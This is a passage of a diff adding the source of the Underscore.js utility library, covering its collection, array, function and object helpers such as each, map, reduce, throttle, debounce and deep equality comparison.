+    var length = getLength(collection);
+    return typeof length == 'number' && length >= 0 && length <= MAX_ARRAY_INDEX;
+  };
+
+  // Collection Functions
+  // --------------------
+
+  // The cornerstone, an `each` implementation, aka `forEach`.
+  // Handles raw objects in addition to array-likes. Treats all
+  // sparse array-likes as if they were dense.
+  _.each = _.forEach = function(obj, iteratee, context) {
+    iteratee = optimizeCb(iteratee, context);
+    var i, length;
+    if (isArrayLike(obj)) {
+      for (i = 0, length = obj.length; i < length; i++) {
+        iteratee(obj[i], i, obj);
+      }
+    } else {
+      var keys = _.keys(obj);
+      for (i = 0, length = keys.length; i < length; i++) {
+        iteratee(obj[keys[i]], keys[i], obj);
+      }
+    }
+    return obj;
+  };
+
+  // Return the results of applying the iteratee to each element.
+  _.map = _.collect = function(obj, iteratee, context) {
+    iteratee = cb(iteratee, context);
+    var keys = !isArrayLike(obj) && _.keys(obj),
+        length = (keys || obj).length,
+        results = Array(length);
+    for (var index = 0; index < length; index++) {
+      var currentKey = keys ? keys[index] : index;
+      results[index] = iteratee(obj[currentKey], currentKey, obj);
+    }
+    return results;
+  };
+
+  // Create a reducing function iterating left or right.
+  function createReduce(dir) {
+    // Optimized iterator function as using arguments.length
+    // in the main function will deoptimize the, see #1991.
+    function iterator(obj, iteratee, memo, keys, index, length) {
+      for (; index >= 0 && index < length; index += dir) {
+        var currentKey = keys ? keys[index] : index;
+        memo = iteratee(memo, obj[currentKey], currentKey, obj);
+      }
+      return memo;
+    }
+
+    return function(obj, iteratee, memo, context) {
+      iteratee = optimizeCb(iteratee, context, 4);
+      var keys = !isArrayLike(obj) && _.keys(obj),
+          length = (keys || obj).length,
+          index = dir > 0 ? 0 : length - 1;
+      // Determine the initial value if none is provided.
+      if (arguments.length < 3) {
+        memo = obj[keys ? keys[index] : index];
+        index += dir;
+      }
+      return iterator(obj, iteratee, memo, keys, index, length);
+    };
+  }
+
+  // **Reduce** builds up a single result from a list of values, aka `inject`,
+  // or `foldl`.
+  _.reduce = _.foldl = _.inject = createReduce(1);
+
+  // The right-associative version of reduce, also known as `foldr`.
+  _.reduceRight = _.foldr = createReduce(-1);
+
+  // Return the first value which passes a truth test. Aliased as `detect`.
+  _.find = _.detect = function(obj, predicate, context) {
+    var key;
+    if (isArrayLike(obj)) {
+      key = _.findIndex(obj, predicate, context);
+    } else {
+      key = _.findKey(obj, predicate, context);
+    }
+    if (key !== void 0 && key !== -1) return obj[key];
+  };
+
+  // Return all the elements that pass a truth test.
+  // Aliased as `select`.
+  _.filter = _.select = function(obj, predicate, context) {
+    var results = [];
+    predicate = cb(predicate, context);
+    _.each(obj, function(value, index, list) {
+      if (predicate(value, index, list)) results.push(value);
+    });
+    return results;
+  };
+
+  // Return all the elements for which a truth test fails.
+  _.reject = function(obj, predicate, context) {
+    return _.filter(obj, _.negate(cb(predicate)), context);
+  };
+
+  // Determine whether all of the elements match a truth test.
+  // Aliased as `all`.
+  _.every = _.all = function(obj, predicate, context) {
+    predicate = cb(predicate, context);
+    var keys = !isArrayLike(obj) && _.keys(obj),
+        length = (keys || obj).length;
+    for (var index = 0; index < length; index++) {
+      var currentKey = keys ? keys[index] : index;
+      if (!predicate(obj[currentKey], currentKey, obj)) return false;
+    }
+    return true;
+  };
+
+  // Determine if at least one element in the object matches a truth test.
+  // Aliased as `any`.
+  _.some = _.any = function(obj, predicate, context) {
+    predicate = cb(predicate, context);
+    var keys = !isArrayLike(obj) && _.keys(obj),
+        length = (keys || obj).length;
+    for (var index = 0; index < length; index++) {
+      var currentKey = keys ? keys[index] : index;
+      if (predicate(obj[currentKey], currentKey, obj)) return true;
+    }
+    return false;
+  };
+
+  // Determine if the array or object contains a given item (using `===`).
+  // Aliased as `includes` and `include`.
+  _.contains = _.includes = _.include = function(obj, item, fromIndex, guard) {
+    if (!isArrayLike(obj)) obj = _.values(obj);
+    if (typeof fromIndex != 'number' || guard) fromIndex = 0;
+    return _.indexOf(obj, item, fromIndex) >= 0;
+  };
+
+  // Invoke a method (with arguments) on every item in a collection.
+  _.invoke = function(obj, method) {
+    var args = slice.call(arguments, 2);
+    var isFunc = _.isFunction(method);
+    return _.map(obj, function(value) {
+      var func = isFunc ? method : value[method];
+      return func == null ? func : func.apply(value, args);
+    });
+  };
+
+  // Convenience version of a common use case of `map`: fetching a property.
+  _.pluck = function(obj, key) {
+    return _.map(obj, _.property(key));
+  };
+
+  // Convenience version of a common use case of `filter`: selecting only objects
+  // containing specific `key:value` pairs.
+  _.where = function(obj, attrs) {
+    return _.filter(obj, _.matcher(attrs));
+  };
+
+  // Convenience version of a common use case of `find`: getting the first object
+  // containing specific `key:value` pairs.
+  _.findWhere = function(obj, attrs) {
+    return _.find(obj, _.matcher(attrs));
+  };
+
+  // Return the maximum element (or element-based computation).
+  _.max = function(obj, iteratee, context) {
+    var result = -Infinity, lastComputed = -Infinity,
+        value, computed;
+    if (iteratee == null && obj != null) {
+      obj = isArrayLike(obj) ? obj : _.values(obj);
+      for (var i = 0, length = obj.length; i < length; i++) {
+        value = obj[i];
+        if (value > result) {
+          result = value;
+        }
+      }
+    } else {
+      iteratee = cb(iteratee, context);
+      _.each(obj, function(value, index, list) {
+        computed = iteratee(value, index, list);
+        if (computed > lastComputed || computed === -Infinity && result === -Infinity) {
+          result = value;
+          lastComputed = computed;
+        }
+      });
+    }
+    return result;
+  };
+
+  // Return the minimum element (or element-based computation).
+  _.min = function(obj, iteratee, context) {
+    var result = Infinity, lastComputed = Infinity,
+        value, computed;
+    if (iteratee == null && obj != null) {
+      obj = isArrayLike(obj) ? obj : _.values(obj);
+      for (var i = 0, length = obj.length; i < length; i++) {
+        value = obj[i];
+        if (value < result) {
+          result = value;
+        }
+      }
+    } else {
+      iteratee = cb(iteratee, context);
+      _.each(obj, function(value, index, list) {
+        computed = iteratee(value, index, list);
+        if (computed < lastComputed || computed === Infinity && result === Infinity) {
+          result = value;
+          lastComputed = computed;
+        }
+      });
+    }
+    return result;
+  };
+
+  // Shuffle a collection, using the modern version of the
+  // [Fisher-Yates shuffle](http://en.wikipedia.org/wiki/Fisher–Yates_shuffle).
+  _.shuffle = function(obj) {
+    var set = isArrayLike(obj) ? obj : _.values(obj);
+    var length = set.length;
+    var shuffled = Array(length);
+    for (var index = 0, rand; index < length; index++) {
+      rand = _.random(0, index);
+      if (rand !== index) shuffled[index] = shuffled[rand];
+      shuffled[rand] = set[index];
+    }
+    return shuffled;
+  };
+
+  // Sample **n** random values from a collection.
+  // If **n** is not specified, returns a single random element.
+  // The internal `guard` argument allows it to work with `map`.
+  _.sample = function(obj, n, guard) {
+    if (n == null || guard) {
+      if (!isArrayLike(obj)) obj = _.values(obj);
+      return obj[_.random(obj.length - 1)];
+    }
+    return _.shuffle(obj).slice(0, Math.max(0, n));
+  };
+
+  // Sort the object's values by a criterion produced by an iteratee.
+  _.sortBy = function(obj, iteratee, context) {
+    iteratee = cb(iteratee, context);
+    return _.pluck(_.map(obj, function(value, index, list) {
+      return {
+        value: value,
+        index: index,
+        criteria: iteratee(value, index, list)
+      };
+    }).sort(function(left, right) {
+      var a = left.criteria;
+      var b = right.criteria;
+      if (a !== b) {
+        if (a > b || a === void 0) return 1;
+        if (a < b || b === void 0) return -1;
+      }
+      return left.index - right.index;
+    }), 'value');
+  };
+
+  // An internal function used for aggregate "group by" operations.
+  var group = function(behavior) {
+    return function(obj, iteratee, context) {
+      var result = {};
+      iteratee = cb(iteratee, context);
+      _.each(obj, function(value, index) {
+        var key = iteratee(value, index, obj);
+        behavior(result, value, key);
+      });
+      return result;
+    };
+  };
+
+  // Groups the object's values by a criterion. Pass either a string attribute
+  // to group by, or a function that returns the criterion.
+  _.groupBy = group(function(result, value, key) {
+    if (_.has(result, key)) result[key].push(value); else result[key] = [value];
+  });
+
+  // Indexes the object's values by a criterion, similar to `groupBy`, but for
+  // when you know that your index values will be unique.
+  _.indexBy = group(function(result, value, key) {
+    result[key] = value;
+  });
+
+  // Counts instances of an object that group by a certain criterion. Pass
+  // either a string attribute to count by, or a function that returns the
+  // criterion.
+  _.countBy = group(function(result, value, key) {
+    if (_.has(result, key)) result[key]++; else result[key] = 1;
+  });
+
+  // Safely create a real, live array from anything iterable.
+  _.toArray = function(obj) {
+    if (!obj) return [];
+    if (_.isArray(obj)) return slice.call(obj);
+    if (isArrayLike(obj)) return _.map(obj, _.identity);
+    return _.values(obj);
+  };
+
+  // Return the number of elements in an object.
+  _.size = function(obj) {
+    if (obj == null) return 0;
+    return isArrayLike(obj) ? obj.length : _.keys(obj).length;
+  };
+
+  // Split a collection into two arrays: one whose elements all satisfy the given
+  // predicate, and one whose elements all do not satisfy the predicate.
+  _.partition = function(obj, predicate, context) {
+    predicate = cb(predicate, context);
+    var pass = [], fail = [];
+    _.each(obj, function(value, key, obj) {
+      (predicate(value, key, obj) ? pass : fail).push(value);
+    });
+    return [pass, fail];
+  };
+
+  // Array Functions
+  // ---------------
+
+  // Get the first element of an array. Passing **n** will return the first N
+  // values in the array. Aliased as `head` and `take`. The **guard** check
+  // allows it to work with `_.map`.
+  _.first = _.head = _.take = function(array, n, guard) {
+    if (array == null) return void 0;
+    if (n == null || guard) return array[0];
+    return _.initial(array, array.length - n);
+  };
+
+  // Returns everything but the last entry of the array. Especially useful on
+  // the arguments object. Passing **n** will return all the values in
+  // the array, excluding the last N.
+  _.initial = function(array, n, guard) {
+    return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n)));
+  };
+
+  // Get the last element of an array. Passing **n** will return the last N
+  // values in the array.
+  _.last = function(array, n, guard) {
+    if (array == null) return void 0;
+    if (n == null || guard) return array[array.length - 1];
+    return _.rest(array, Math.max(0, array.length - n));
+  };
+
+  // Returns everything but the first entry of the array. Aliased as `tail` and `drop`.
+  // Especially useful on the arguments object. Passing an **n** will return
+  // the rest N values in the array.
+  _.rest = _.tail = _.drop = function(array, n, guard) {
+    return slice.call(array, n == null || guard ? 1 : n);
+  };
+
+  // Trim out all falsy values from an array.
+  _.compact = function(array) {
+    return _.filter(array, _.identity);
+  };
+
+  // Internal implementation of a recursive `flatten` function.
+  var flatten = function(input, shallow, strict, startIndex) {
+    var output = [], idx = 0;
+    for (var i = startIndex || 0, length = getLength(input); i < length; i++) {
+      var value = input[i];
+      if (isArrayLike(value) && (_.isArray(value) || _.isArguments(value))) {
+        //flatten current level of array or arguments object
+        if (!shallow) value = flatten(value, shallow, strict);
+        var j = 0, len = value.length;
+        output.length += len;
+        while (j < len) {
+          output[idx++] = value[j++];
+        }
+      } else if (!strict) {
+        output[idx++] = value;
+      }
+    }
+    return output;
+  };
+
+  // Flatten out an array, either recursively (by default), or just one level.
+  _.flatten = function(array, shallow) {
+    return flatten(array, shallow, false);
+  };
+
+  // Return a version of the array that does not contain the specified value(s).
+  _.without = function(array) {
+    return _.difference(array, slice.call(arguments, 1));
+  };
+
+  // Produce a duplicate-free version of the array. If the array has already
+  // been sorted, you have the option of using a faster algorithm.
+  // Aliased as `unique`.
+  _.uniq = _.unique = function(array, isSorted, iteratee, context) {
+    if (!_.isBoolean(isSorted)) {
+      context = iteratee;
+      iteratee = isSorted;
+      isSorted = false;
+    }
+    if (iteratee != null) iteratee = cb(iteratee, context);
+    var result = [];
+    var seen = [];
+    for (var i = 0, length = getLength(array); i < length; i++) {
+      var value = array[i],
+          computed = iteratee ? iteratee(value, i, array) : value;
+      if (isSorted) {
+        if (!i || seen !== computed) result.push(value);
+        seen = computed;
+      } else if (iteratee) {
+        if (!_.contains(seen, computed)) {
+          seen.push(computed);
+          result.push(value);
+        }
+      } else if (!_.contains(result, value)) {
+        result.push(value);
+      }
+    }
+    return result;
+  };
+
+  // Produce an array that contains the union: each distinct element from all of
+  // the passed-in arrays.
+  _.union = function() {
+    return _.uniq(flatten(arguments, true, true));
+  };
+
+  // Produce an array that contains every item shared between all the
+  // passed-in arrays.
+  _.intersection = function(array) {
+    var result = [];
+    var argsLength = arguments.length;
+    for (var i = 0, length = getLength(array); i < length; i++) {
+      var item = array[i];
+      if (_.contains(result, item)) continue;
+      for (var j = 1; j < argsLength; j++) {
+        if (!_.contains(arguments[j], item)) break;
+      }
+      if (j === argsLength) result.push(item);
+    }
+    return result;
+  };
+
+  // Take the difference between one array and a number of other arrays.
+  // Only the elements present in just the first array will remain.
+  _.difference = function(array) {
+    var rest = flatten(arguments, true, true, 1);
+    return _.filter(array, function(value){
+      return !_.contains(rest, value);
+    });
+  };
+
+  // Zip together multiple lists into a single array -- elements that share
+  // an index go together.
+  _.zip = function() {
+    return _.unzip(arguments);
+  };
+
+  // Complement of _.zip. Unzip accepts an array of arrays and groups
+  // each array's elements on shared indices
+  _.unzip = function(array) {
+    var length = array && _.max(array, getLength).length || 0;
+    var result = Array(length);
+
+    for (var index = 0; index < length; index++) {
+      result[index] = _.pluck(array, index);
+    }
+    return result;
+  };
+
+  // Converts lists into objects. Pass either a single array of `[key, value]`
+  // pairs, or two parallel arrays of the same length -- one of keys, and one of
+  // the corresponding values.
+  _.object = function(list, values) {
+    var result = {};
+    for (var i = 0, length = getLength(list); i < length; i++) {
+      if (values) {
+        result[list[i]] = values[i];
+      } else {
+        result[list[i][0]] = list[i][1];
+      }
+    }
+    return result;
+  };
+
+  // Generator function to create the findIndex and findLastIndex functions
+  function createPredicateIndexFinder(dir) {
+    return function(array, predicate, context) {
+      predicate = cb(predicate, context);
+      var length = getLength(array);
+      var index = dir > 0 ? 0 : length - 1;
+      for (; index >= 0 && index < length; index += dir) {
+        if (predicate(array[index], index, array)) return index;
+      }
+      return -1;
+    };
+  }
+
+  // Returns the first index on an array-like that passes a predicate test
+  _.findIndex = createPredicateIndexFinder(1);
+  _.findLastIndex = createPredicateIndexFinder(-1);
+
+  // Use a comparator function to figure out the smallest index at which
+  // an object should be inserted so as to maintain order. Uses binary search.
+  _.sortedIndex = function(array, obj, iteratee, context) {
+    iteratee = cb(iteratee, context, 1);
+    var value = iteratee(obj);
+    var low = 0, high = getLength(array);
+    while (low < high) {
+      var mid = Math.floor((low + high) / 2);
+      if (iteratee(array[mid]) < value) low = mid + 1; else high = mid;
+    }
+    return low;
+  };
+
+  // Generator function to create the indexOf and lastIndexOf functions
+  function createIndexFinder(dir, predicateFind, sortedIndex) {
+    return function(array, item, idx) {
+      var i = 0, length = getLength(array);
+      if (typeof idx == 'number') {
+        if (dir > 0) {
+            i = idx >= 0 ? idx : Math.max(idx + length, i);
+        } else {
+            length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1;
+        }
+      } else if (sortedIndex && idx && length) {
+        idx = sortedIndex(array, item);
+        return array[idx] === item ? idx : -1;
+      }
+      if (item !== item) {
+        idx = predicateFind(slice.call(array, i, length), _.isNaN);
+        return idx >= 0 ? idx + i : -1;
+      }
+      for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) {
+        if (array[idx] === item) return idx;
+      }
+      return -1;
+    };
+  }
+
+  // Return the position of the first occurrence of an item in an array,
+  // or -1 if the item is not included in the array.
+  // If the array is large and already in sort order, pass `true`
+  // for **isSorted** to use binary search.
+  _.indexOf = createIndexFinder(1, _.findIndex, _.sortedIndex);
+  _.lastIndexOf = createIndexFinder(-1, _.findLastIndex);
+
+  // Generate an integer Array containing an arithmetic progression. A port of
+  // the native Python `range()` function. See
+  // [the Python documentation](http://docs.python.org/library/functions.html#range).
+  _.range = function(start, stop, step) {
+    if (stop == null) {
+      stop = start || 0;
+      start = 0;
+    }
+    step = step || 1;
+
+    var length = Math.max(Math.ceil((stop - start) / step), 0);
+    var range = Array(length);
+
+    for (var idx = 0; idx < length; idx++, start += step) {
+      range[idx] = start;
+    }
+
+    return range;
+  };
+
+  // Function (ahem) Functions
+  // ------------------
+
+  // Determines whether to execute a function as a constructor
+  // or a normal function with the provided arguments
+  var executeBound = function(sourceFunc, boundFunc, context, callingContext, args) {
+    if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args);
+    var self = baseCreate(sourceFunc.prototype);
+    var result = sourceFunc.apply(self, args);
+    if (_.isObject(result)) return result;
+    return self;
+  };
+
+  // Create a function bound to a given object (assigning `this`, and arguments,
+  // optionally). Delegates to **ECMAScript 5**'s native `Function.bind` if
+  // available.
+  _.bind = function(func, context) {
+    if (nativeBind && func.bind === nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
+    if (!_.isFunction(func)) throw new TypeError('Bind must be called on a function');
+    var args = slice.call(arguments, 2);
+    var bound = function() {
+      return executeBound(func, bound, context, this, args.concat(slice.call(arguments)));
+    };
+    return bound;
+  };
+
+  // Partially apply a function by creating a version that has had some of its
+  // arguments pre-filled, without changing its dynamic `this` context. _ acts
+  // as a placeholder, allowing any combination of arguments to be pre-filled.
+  _.partial = function(func) {
+    var boundArgs = slice.call(arguments, 1);
+    var bound = function() {
+      var position = 0, length = boundArgs.length;
+      var args = Array(length);
+      for (var i = 0; i < length; i++) {
+        args[i] = boundArgs[i] === _ ? arguments[position++] : boundArgs[i];
+      }
+      while (position < arguments.length) args.push(arguments[position++]);
+      return executeBound(func, bound, this, this, args);
+    };
+    return bound;
+  };
+
+  // Bind a number of an object's methods to that object. Remaining arguments
+  // are the method names to be bound. Useful for ensuring that all callbacks
+  // defined on an object belong to it.
+  _.bindAll = function(obj) {
+    var i, length = arguments.length, key;
+    if (length <= 1) throw new Error('bindAll must be passed function names');
+    for (i = 1; i < length; i++) {
+      key = arguments[i];
+      obj[key] = _.bind(obj[key], obj);
+    }
+    return obj;
+  };
+
+  // Memoize an expensive function by storing its results.
+  _.memoize = function(func, hasher) {
+    var memoize = function(key) {
+      var cache = memoize.cache;
+      var address = '' + (hasher ? hasher.apply(this, arguments) : key);
+      if (!_.has(cache, address)) cache[address] = func.apply(this, arguments);
+      return cache[address];
+    };
+    memoize.cache = {};
+    return memoize;
+  };
+
+  // Delays a function for the given number of milliseconds, and then calls
+  // it with the arguments supplied.
+  _.delay = function(func, wait) {
+    var args = slice.call(arguments, 2);
+    return setTimeout(function(){
+      return func.apply(null, args);
+    }, wait);
+  };
+
+  // Defers a function, scheduling it to run after the current call stack has
+  // cleared.
+  _.defer = _.partial(_.delay, _, 1);
+
+  // Returns a function, that, when invoked, will only be triggered at most once
+  // during a given window of time. Normally, the throttled function will run
+  // as much as it can, without ever going more than once per `wait` duration;
+  // but if you'd like to disable the execution on the leading edge, pass
+  // `{leading: false}`. To disable execution on the trailing edge, ditto.
+  _.throttle = function(func, wait, options) {
+    var context, args, result;
+    var timeout = null;
+    var previous = 0;
+    if (!options) options = {};
+    var later = function() {
+      previous = options.leading === false ? 0 : _.now();
+      timeout = null;
+      result = func.apply(context, args);
+      if (!timeout) context = args = null;
+    };
+    return function() {
+      var now = _.now();
+      if (!previous && options.leading === false) previous = now;
+      var remaining = wait - (now - previous);
+      context = this;
+      args = arguments;
+      if (remaining <= 0 || remaining > wait) {
+        if (timeout) {
+          clearTimeout(timeout);
+          timeout = null;
+        }
+        previous = now;
+        result = func.apply(context, args);
+        if (!timeout) context = args = null;
+      } else if (!timeout && options.trailing !== false) {
+        timeout = setTimeout(later, remaining);
+      }
+      return result;
+    };
+  };
+
+  // Returns a function, that, as long as it continues to be invoked, will not
+  // be triggered. The function will be called after it stops being called for
+  // N milliseconds. If `immediate` is passed, trigger the function on the
+  // leading edge, instead of the trailing.
+  _.debounce = function(func, wait, immediate) {
+    var timeout, args, context, timestamp, result;
+
+    var later = function() {
+      var last = _.now() - timestamp;
+
+      if (last < wait && last >= 0) {
+        timeout = setTimeout(later, wait - last);
+      } else {
+        timeout = null;
+        if (!immediate) {
+          result = func.apply(context, args);
+          if (!timeout) context = args = null;
+        }
+      }
+    };
+
+    return function() {
+      context = this;
+      args = arguments;
+      timestamp = _.now();
+      var callNow = immediate && !timeout;
+      if (!timeout) timeout = setTimeout(later, wait);
+      if (callNow) {
+        result = func.apply(context, args);
+        context = args = null;
+      }
+
+      return result;
+    };
+  };
+
+  // Returns the first function passed as an argument to the second,
+  // allowing you to adjust arguments, run code before and after, and
+  // conditionally execute the original function.
+  _.wrap = function(func, wrapper) {
+    return _.partial(wrapper, func);
+  };
+
+  // Returns a negated version of the passed-in predicate.
+  _.negate = function(predicate) {
+    return function() {
+      return !predicate.apply(this, arguments);
+    };
+  };
+
+  // Returns a function that is the composition of a list of functions, each
+  // consuming the return value of the function that follows.
+  _.compose = function() {
+    var args = arguments;
+    var start = args.length - 1;
+    return function() {
+      var i = start;
+      var result = args[start].apply(this, arguments);
+      while (i--) result = args[i].call(this, result);
+      return result;
+    };
+  };
+
+  // Returns a function that will only be executed on and after the Nth call.
+  _.after = function(times, func) {
+    return function() {
+      if (--times < 1) {
+        return func.apply(this, arguments);
+      }
+    };
+  };
+
+  // Returns a function that will only be executed up to (but not including) the Nth call.
+  _.before = function(times, func) {
+    var memo;
+    return function() {
+      if (--times > 0) {
+        memo = func.apply(this, arguments);
+      }
+      if (times <= 1) func = null;
+      return memo;
+    };
+  };
+
+  // Returns a function that will be executed at most one time, no matter how
+  // often you call it. Useful for lazy initialization.
+  _.once = _.partial(_.before, 2);
+
+  // Object Functions
+  // ----------------
+
+  // Keys in IE < 9 that won't be iterated by `for key in ...` and thus missed.
+  var hasEnumBug = !{toString: null}.propertyIsEnumerable('toString');
+  var nonEnumerableProps = ['valueOf', 'isPrototypeOf', 'toString',
+                      'propertyIsEnumerable', 'hasOwnProperty', 'toLocaleString'];
+
+  function collectNonEnumProps(obj, keys) {
+    var nonEnumIdx = nonEnumerableProps.length;
+    var constructor = obj.constructor;
+    var proto = (_.isFunction(constructor) && constructor.prototype) || ObjProto;
+
+    // Constructor is a special case.
+    var prop = 'constructor';
+    if (_.has(obj, prop) && !_.contains(keys, prop)) keys.push(prop);
+
+    while (nonEnumIdx--) {
+      prop = nonEnumerableProps[nonEnumIdx];
+      if (prop in obj && obj[prop] !== proto[prop] && !_.contains(keys, prop)) {
+        keys.push(prop);
+      }
+    }
+  }
+
+  // Retrieve the names of an object's own properties.
+  // Delegates to **ECMAScript 5**'s native `Object.keys`
+  _.keys = function(obj) {
+    if (!_.isObject(obj)) return [];
+    if (nativeKeys) return nativeKeys(obj);
+    var keys = [];
+    for (var key in obj) if (_.has(obj, key)) keys.push(key);
+    // Ahem, IE < 9.
+    if (hasEnumBug) collectNonEnumProps(obj, keys);
+    return keys;
+  };
+
+  // Retrieve all the property names of an object.
+  _.allKeys = function(obj) {
+    if (!_.isObject(obj)) return [];
+    var keys = [];
+    for (var key in obj) keys.push(key);
+    // Ahem, IE < 9.
+    if (hasEnumBug) collectNonEnumProps(obj, keys);
+    return keys;
+  };
+
+  // Retrieve the values of an object's properties.
+  _.values = function(obj) {
+    var keys = _.keys(obj);
+    var length = keys.length;
+    var values = Array(length);
+    for (var i = 0; i < length; i++) {
+      values[i] = obj[keys[i]];
+    }
+    return values;
+  };
+
+  // Returns the results of applying the iteratee to each element of the object
+  // In contrast to _.map it returns an object
+  _.mapObject = function(obj, iteratee, context) {
+    iteratee = cb(iteratee, context);
+    var keys =  _.keys(obj),
+          length = keys.length,
+          results = {},
+          currentKey;
+      for (var index = 0; index < length; index++) {
+        currentKey = keys[index];
+        results[currentKey] = iteratee(obj[currentKey], currentKey, obj);
+      }
+      return results;
+  };
+
+  // Convert an object into a list of `[key, value]` pairs.
+  _.pairs = function(obj) {
+    var keys = _.keys(obj);
+    var length = keys.length;
+    var pairs = Array(length);
+    for (var i = 0; i < length; i++) {
+      pairs[i] = [keys[i], obj[keys[i]]];
+    }
+    return pairs;
+  };
+
+  // Invert the keys and values of an object. The values must be serializable.
+  _.invert = function(obj) {
+    var result = {};
+    var keys = _.keys(obj);
+    for (var i = 0, length = keys.length; i < length; i++) {
+      result[obj[keys[i]]] = keys[i];
+    }
+    return result;
+  };
+
+  // Return a sorted list of the function names available on the object.
+  // Aliased as `methods`
+  _.functions = _.methods = function(obj) {
+    var names = [];
+    for (var key in obj) {
+      if (_.isFunction(obj[key])) names.push(key);
+    }
+    return names.sort();
+  };
+
+  // Extend a given object with all the properties in passed-in object(s).
+  _.extend = createAssigner(_.allKeys);
+
+  // Assigns a given object with all the own properties in the passed-in object(s)
+  // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)
+  _.extendOwn = _.assign = createAssigner(_.keys);
+
+  // Returns the first key on an object that passes a predicate test
+  _.findKey = function(obj, predicate, context) {
+    predicate = cb(predicate, context);
+    var keys = _.keys(obj), key;
+    for (var i = 0, length = keys.length; i < length; i++) {
+      key = keys[i];
+      if (predicate(obj[key], key, obj)) return key;
+    }
+  };
+
+  // Return a copy of the object only containing the whitelisted properties.
+  _.pick = function(object, oiteratee, context) {
+    var result = {}, obj = object, iteratee, keys;
+    if (obj == null) return result;
+    if (_.isFunction(oiteratee)) {
+      keys = _.allKeys(obj);
+      iteratee = optimizeCb(oiteratee, context);
+    } else {
+      keys = flatten(arguments, false, false, 1);
+      iteratee = function(value, key, obj) { return key in obj; };
+      obj = Object(obj);
+    }
+    for (var i = 0, length = keys.length; i < length; i++) {
+      var key = keys[i];
+      var value = obj[key];
+      if (iteratee(value, key, obj)) result[key] = value;
+    }
+    return result;
+  };
+
+   // Return a copy of the object without the blacklisted properties.
+  _.omit = function(obj, iteratee, context) {
+    if (_.isFunction(iteratee)) {
+      iteratee = _.negate(iteratee);
+    } else {
+      var keys = _.map(flatten(arguments, false, false, 1), String);
+      iteratee = function(value, key) {
+        return !_.contains(keys, key);
+      };
+    }
+    return _.pick(obj, iteratee, context);
+  };
+
+  // Fill in a given object with default properties.
+  _.defaults = createAssigner(_.allKeys, true);
+
+  // Creates an object that inherits from the given prototype object.
+  // If additional properties are provided then they will be added to the
+  // created object.
+  _.create = function(prototype, props) {
+    var result = baseCreate(prototype);
+    if (props) _.extendOwn(result, props);
+    return result;
+  };
+
+  // Create a (shallow-cloned) duplicate of an object.
+  _.clone = function(obj) {
+    if (!_.isObject(obj)) return obj;
+    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
+  };
+
+  // Invokes interceptor with the obj, and then returns obj.
+  // The primary purpose of this method is to "tap into" a method chain, in
+  // order to perform operations on intermediate results within the chain.
+  _.tap = function(obj, interceptor) {
+    interceptor(obj);
+    return obj;
+  };
+
+  // Returns whether an object has a given set of `key:value` pairs.
+  _.isMatch = function(object, attrs) {
+    var keys = _.keys(attrs), length = keys.length;
+    if (object == null) return !length;
+    var obj = Object(object);
+    for (var i = 0; i < length; i++) {
+      var key = keys[i];
+      if (attrs[key] !== obj[key] || !(key in obj)) return false;
+    }
+    return true;
+  };
+
+
+  // Internal recursive comparison function for `isEqual`.
+  var eq = function(a, b, aStack, bStack) {
+    // Identical objects are equal. `0 === -0`, but they aren't identical.
+    // See the [Harmony `egal` proposal](http://wiki.ecmascript.org/doku.php?id=harmony:egal).
+    if (a === b) return a !== 0 || 1 / a === 1 / b;
+    // A strict comparison is necessary because `null == undefined`.
+    if (a == null || b == null) return a === b;
+    // Unwrap any wrapped objects.
+    if (a instanceof _) a = a._wrapped;
+    if (b instanceof _) b = b._wrapped;
+    // Compare `[[Class]]` names.
+    var className = toString.call(a);
+    if (className !== toString.call(b)) return false;
+    switch (className) {
+      // Strings, numbers, regular expressions, dates, and booleans are compared by value.
+      case '[object RegExp]':
+      // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i')
+      case '[object String]':
+        // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
+        // equivalent to `new String("5")`.
+        return '' + a === '' + b;
+      case '[object Number]':
+        // `NaN`s are equivalent, but non-reflexive.
+        // Object(NaN) is equivalent to NaN
+        if (+a !== +a) return +b !== +b;
+        // An `egal` comparison is performed for other numeric values.
+        return +a === 0 ? 1 / +a === 1 / b : +a === +b;
+      case '[object Date]':
+      case '[object Boolean]':
+        // Coerce dates and booleans to numeric primitive values. Dates are compared by their
+        // millisecond representations. Note that invalid dates with millisecond representations
+        // of `NaN` are not equivalent.
+        return +a === +b;
+    }
+
+    var areArrays = className === '[object Array]';
+    if (!areArrays) {
+      if (typeof a != 'object' || typeof b != 'object') return false;
+
+      // Objects with different constructors are not equivalent, but `Object`s or `Array`s
+      // from different frames are.
+      var aCtor = a.constructor, bCtor = b.constructor;
+      if (aCtor !== bCtor && !(_.isFunction(aCtor) && aCtor instanceof aCtor &&
+                               _.isFunction(bCtor) && bCtor instanceof bCtor)
+                          && ('constructor' in a && 'constructor' in b)) {
+        return false;
+      }
+    }
+    // Assume equality for cyclic structures. The algorithm for detecting cyclic
+    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
+
+    // Initializing stack of traversed objects.
+    // It's done here since we only need them for objects and arrays comparison.
+    aStack = aStack || [];
+    bStack = bStack || [];
+    var length = aStack.length;
+    while (length--) {
+      // Linear search. Performance is inversely proportional to the number of
+      // unique nested structures.
+      if (aStack[length] === a) return bStack[length] === b;
+    }
+
+    // Add the first object to the stack of traversed objects.
+    aStack.push(a);
+    bStack.push(b);
+
+    // Recursively compare objects and arrays.
+    if (areArrays) {
+      // Compare array lengths to determine if a deep comparison is necessary.
+      length = a.length;
+      if (length !== b.length) return false;
+      // Deep compare the contents, ignoring non-numeric properties.
+      while (length--) {
+        if (!eq(a[length], b[length], aStack, bStack)) return false;
+      }
+    } else {
+      // Deep compare objects.
+      var keys = _.keys(a), key;
+      length = keys.length;
+      // Ensure that both objects contain the same number of properties before comparing deep equality.
+      if (_.keys(b).length !== length) return false;
+      while (length--) {
+        // Deep compare each member
+        key = keys[length];
+        if (!(_.has(b, key) && eq(a[key], b[key], aStack, bStack))) return false;
+      }
+    }
+    // Remove the first object from the stack of traversed objects.
+    aStack.pop();
+    bStack.pop();
+    return true;
+  };
+
+  // Perform a deep comparison to check if two objects are equal.
